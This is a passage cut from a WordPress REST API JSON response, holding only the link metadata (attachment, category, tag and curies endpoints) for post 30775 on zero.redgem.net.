sions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30775"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30775"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30775"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}